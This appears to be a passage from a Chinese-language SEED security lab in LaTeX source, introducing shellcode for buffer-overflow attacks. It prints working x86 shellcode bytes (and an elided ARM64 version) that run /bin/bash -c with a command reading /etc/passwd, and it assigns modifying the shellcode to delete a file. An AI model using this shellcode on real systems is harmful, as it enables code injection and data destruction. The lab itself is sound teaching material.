% *******************************************
% SECTION
% *******************************************  
\section{任务1: 熟悉Shellcode}

缓冲区溢出攻击的最终目标是将恶意代码注入目标程序，从而使该代码能够在目标程序的权限下执行。Shellcode 是在大多数代码注入攻击中广泛使用的技术。让我们通过本任务来熟悉它。

Shellcode 通常用于代码注入攻击。它本质上是一段启动 shell 的代码，并且通常用汇编语言编写。在此次实验中，我们仅提供了一个 Shellcode 的二进制版本，并没有解释其工作原理，因为这比较复杂。如果您对 Shellcode 感兴趣，并希望从头开始编写 Shellcode，请参阅名为《Shellcode Lab》的 SEED 实验。
\ifdefined\arm
\else
以下我们显示 32 位的 x86 Shellcode 版本， amd64 的版本原理类似。
\fi


\ifdefined\arm
% ARM64 版本
\begin{lstlisting}[language=python]
shellcode = (
   "\x0b\x05\x01\x10\x0c\x04\x84\xd2\x73\x01\x0c\xcb\x29\x01\x09\x4a"
   ... (省略行) ...
   "\x94\x02\x14\xca\xe2\x03\x14\xaa\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
   "/bin/bash*"                                                       (*@\ding{202}@*)
   "-c****"                                                           (*@\ding{203}@*)
   "/bin/ls -l; echo Hello 64; /bin/tail -n 4 /etc/passwd          *" (*@\ding{204}@*)
   # 这行中的 * 作为位置标记                                         *
   "AAAAAAAA"   # 占位符，对应 argv[0] --> "/bin/bash"
   "BBBBBBBB"   # 占位符，对应 argv[1] --> "-c"
   "CCCCCCCC"   # 占位符，对应 argv[2] --> 命令字符串
   "DDDDDDDD"   # 占位符，对应 argv[3] --> NULL
).encode('latin-1')
\end{lstlisting}

\else
% x86 版本
\begin{lstlisting}[language=python]
shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"                                                     (*@\ding{202}@*)
   "-c*"                                                            (*@\ding{203}@*)
   "/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd        *"    (*@\ding{204}@*)
   # 这行中的 * 作为位置标记                                    *
   "AAAA"   # 占位符，对应 argv[0] --> "/bin/bash"
   "BBBB"   # 占位符，对应 argv[1] --> "-c"
   "CCCC"   # 占位符，对应 argv[2] --> 命令字符串
   "DDDD"   # 占位符，对应 argv[3] --> NULL
).encode('latin-1')
\end{lstlisting}
\fi

该 Shellcode 启动了 \texttt{"/bin/bash"} shell 程序（行~\ding{202}），但给它提供了两个参数：\texttt{"-c"}（行~\ding{203}) 和一个命令字符串（行~\ding{204})。这表明 shell 程序将运行第二个参数中的命令。这些字符串末尾的 \texttt{*} 仅是占位符，并在执行 Shellcode 时会被替换为一个零字节，即 \texttt{0x00}。每个字符串需要有一个零来结束，但我们不能把零放在 Shellcode 中。相反，我们在每个字符串的末尾放置了一个占位符，在执行过程中动态地将零放入该占位符中。

如果我们希望 Shellcode 运行其他命令，只需修改第 \ding{204} 行中的命令字符串即可。但在进行更改时，请确保不要改变这个字符串的长度，因为 \texttt{argv[]} 数组中占位符的起始位置（紧接在命令字符串之后）是硬编码在 Shellcode 的二进制部分中的。如果改变了长度，则需要修改二进制部分。为了保持该字符串末尾的星号处于相同的位置，您可以添加或删除空格。

\ifdefined\arm
您可以在 \texttt{shellcode} 文件夹中找到一个通用的 Shellcode。里面有一个名为 \texttt{shellcode\_64.py} 的 Python 程序。它将把二进制 Shellcode 写入 \texttt{codefile\_64}。然后，您可以使用 \texttt{call\_shellcode} 来执行其中的 Shellcode。

\begin{lstlisting}
// 生成 Shellcode 二进制文件
$ ./shellcode_64.py    (*@\pointright{}@*) 生成 codefile_64

// 编译 call_shellcode.c
$ make                 (*@\pointright{}@*) 生成 a64.out 

// 测试 Shellcode 
$ a64.out              (*@\pointright{}@*) 执行 codefile_64 中的 Shellcode
\end{lstlisting}

\else
您可以在 \texttt{shellcode} 文件夹中找到一个通用的 Shellcode。里面有两个 Python 程序：\texttt{shellcode\_32.py} 和 \texttt{shellcode\_64.py}，分别用于 32 位和 64 位 Shellcode。这两个 Python 程序将把二进制 Shellcode 写入 \texttt{codefile\_32} 和 \texttt{codefile\_64} 中。然后，您可以使用 \texttt{call\_shellcode} 来执行其中的 Shellcode。

\begin{lstlisting}
// 生成 Shellcode 二进制文件
$ ./shellcode_32.py    (*@\pointright{}@*) 生成 codefile_32
$ ./shellcode_64.py    (*@\pointright{}@*) 生成 codefile_64

// 编译 call_shellcode.c
$ make                 (*@\pointright{}@*) 生成 a32.out 和 a64.out 

// 测试 Shellcode 
$ a32.out              (*@\pointright{}@*) 执行 codefile_32 中的 Shellcode
$ a64.out              (*@\pointright{}@*) 执行 codefile_64 中的 Shellcode
\end{lstlisting}
\fi

\paragraph{任务.} 请修改 Shellcode，以便您可以使用它来删除一个文件。请将您修改后的 Shellcode 包括在实验室报告中，并附上截图。
